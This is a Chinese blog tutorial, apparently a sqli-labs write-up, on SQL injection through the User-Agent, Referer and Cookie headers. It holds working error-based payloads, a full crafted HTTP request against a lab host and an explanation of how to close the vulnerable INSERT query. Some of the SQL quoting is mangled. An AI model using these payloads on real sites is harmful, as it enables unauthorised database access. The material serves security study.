SQL注入之HTTP请求头注入
创始人
2025-06-01 12:57:25
0

Ps: 先做实验,在有操作的基础上理解原理会更清晰更深入。

一、实验 sqli-lab

1. User-Agent注入

  • 特点:登陆后返回用户的 User-Agent --> 服务器端可能记录用户User-Agent

703d0c6f-0f55-4500-a971-b9d0cf652954

  • 输入不合法数据报错

4aca6065-85d6-43dd-89b0-16a7caa4597a

  • payload:' and updatexml(1,concat("~",database(),"~"),1),'','')-- clay

  • 数据包
POST /sqli-labs/Less-18/index.php HTTP/1.1
Host: 10.49.102.86
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Connection: close
X-Forward-For:
User-Agent:' and updatexml(1,concat("~",database(),"~"),1),'','')-- clay
Upgrade-Insecure-Requests: 1submit=Submit&uname=admin&passwd=admin
  • 备注:

该注入是insert语句的注入,完整SQL语句为:

$insert="INSERT INTO `security'. 'uagents'( uagent', ' ip_address', 'username')VALUES ( '$uagent' ,'$IP', $uname)";
payload有效备注
‘,’‘,’') and updatexml(1,concat(““,database(),””),1)先闭合insert
’ and updatexml(1,concat(““,database(),””),1),‘’,‘’)-- clay`后闭合insert

总结:insert类型的SQL注入时,在注入点闭合后就添加要执行的语句,而不是,闭合完整个insert语句后再添加要执行的语句。

2. Referer注入

特点: 返回用户的Referer,可能后端会记录该值

3726faf2-3584-4891-99e5-0bc3efb17fdb

85289be8-628f-49f0-995c-73d63c69c0a2

payload12138' and extractvalue(1,concat("~",database())) ,'') -- clay

b68e69f1-db3f-47c4-bcc6-6cedf52ade72

3. Cookie注入

特点: 返回,后端可能记录User-Agent和Cookie

90f536c0-61f5-4ee1-951b-6954bb5d96bc

把cookie的值删除后:

2597990e-329c-4dae-aed5-35a20e4550ce

2e912a1c-f84b-430c-877f-6d1f431d1194

payload: ' and updatexml(1,concat("~",database(),"~"),1) -- clay

fa799001-4aab-44cc-b85d-cf2f8b3a7b62

二、 HTTP头部注入讲解

一下均为自己的理解,讲的大白话一点,粗体是核心。

原理:

HTTP头部注入产生的核心原因就是,后端存在查询或记录HTTP请求头内容(数据库交互)

实验一:后端记录 User-Agent ,insert 类型的注入

实验二:后端记录 Referer ,insert 类型的注入

实验三:后端查询 cookie ,select 类型的注入

不同的注入类型存在不同的闭合方式,这个一点要注意,除上述闭合类型以外,当搜索框中存在注入时,可能需要%的闭合(模糊查询 like %xxx%)

三、总结

在这里还是再次强调一下SQL注入产生的条件:用户输入的语句带入到数据库执行

  1. 参数可控

  2. 带入到数据库执行

HTTP头部注入也是一模一样,用户可以控制HTTP请求头,后端带入到数据库执行,这两个条件缺一个都不可以!

如果对你有所帮助拜托拜托点赞收藏加评论666,更多文章内容欢迎访问笔者博客 :xclay.net

相关内容

热门资讯

宝安创业,深圳宝安区创业二村 ... 铅笔路7月9日讯,据天眼网消息,深圳市奥仕威科技有限公司(以下简称“奥仕威”)近日获得杭州宝蓝投资管...
永春创业好项目,永春和创业咨询... 今年以来,永春县自然资源局立足优化营商环境,通过“减流程、减材料、减成本、减服务”,不断优化行政审批...
湖南省常德市养猪协会,临淄区养... #今日猪市详情2019年8月16日,据中国养猪网猪价系统监测,境外三元均价为11.58元/公斤,猪价...
永泰能源海则滩煤矿核心竞争力突... 来源:@证券市场红周刊微博导语:海则滩煤矿地理条件出色,紧邻陕北火电、化工产业基地,设有浩吉铁路专用...
美好医疗涨2.23%,成交额9... 6月9日,美好医疗盘中上涨2.23%,截至13:44,报17.43元/股,成交9235.95万元,换...
核电板块表现活跃 合锻智能涨停 6月9日,核电板块表现活跃,截至13时33分,合锻智能(维权)涨停,旭光电子此前涨停,中洲特材、永鼎...
裕同科技跌2.06%,成交额8... 6月9日,裕同科技盘中下跌2.06%,截至13:43,报23.80元/股,成交8055.40万元,换...
中航未来丨2025航空服务与管...   以实践为笔,绘就职业教育蓝图;以梦想为翼,助力航空学子翱翔。  日前,根据航服专业特性,以全面提...
金自天正涨2.05%,成交额4... 6月9日,金自天正(维权)盘中上涨2.05%,截至13:41,报15.91元/股,成交4691.44...
六家机构联合发起首个老年人跌倒...   云南疾控关注我哟☀云南疾控微信公众号将向您传播健康知识,发布疾病预防信息等。不跌倒,我能行跌倒是...
大连开热:师徒携手传薪火 青春... 近日,大连开热分公司师带徒签约仪式现场洋溢着蓬勃朝气。面对台下18对结对师徒,该公司总经理、党委副书...
华丰科技跌2.03%,成交额2... 6月9日,华丰科技盘中下跌2.03%,截至13:27,报52.21元/股,成交2.78亿元,换手率2...
北京:鼓励老字号与知名IP跨界... 格隆汇6月9日丨据北京市商务局,北京市商务局等4部门印发《北京市扩大时尚消费专项行动方案》。方案提出...
北京发布市场监管对企服务事项清... 6月9日,北京市市场监管局发布《市场监管部门对企服务事项清单》(简称《清单》),立足企业视角,全方位...
恒科步入技术性牛市,拐点已现?... 2025年6月9日,港股表现强势,截至午盘,恒指、恒科指分别涨1.02%、2.03%。科网龙头表现不...
川剧《梦回东坡》亮相广西南宁 6月8日晚,川剧《梦回东坡》2025年全国巡演第六站在广西南宁剧场上演,以川剧艺术重现苏东坡风雅人生...
北大最新回应韦东奕健康状况 转自:河北新闻网 【#北大最新回应韦东奕健康状况#】#北...
武进不锈涨2.07%,成交额2... 6月9日,武进不锈盘中上涨2.07%,截至13:40,报5.43元/股,成交2959.85万元,换手...
A股异动丨欧晶科技一度跌逾4%... 格隆汇6月9日|欧晶科技(001269.SZ)今日盘中一度跌4.28%至23.25元。欧晶科技公布,...
当“风投之城”遇上量子革命:合... 来源:中访网财观来源|中访网作者|一杭工作室当今世界,科技创新日新月异,量子科技变革悄然而至。6月4...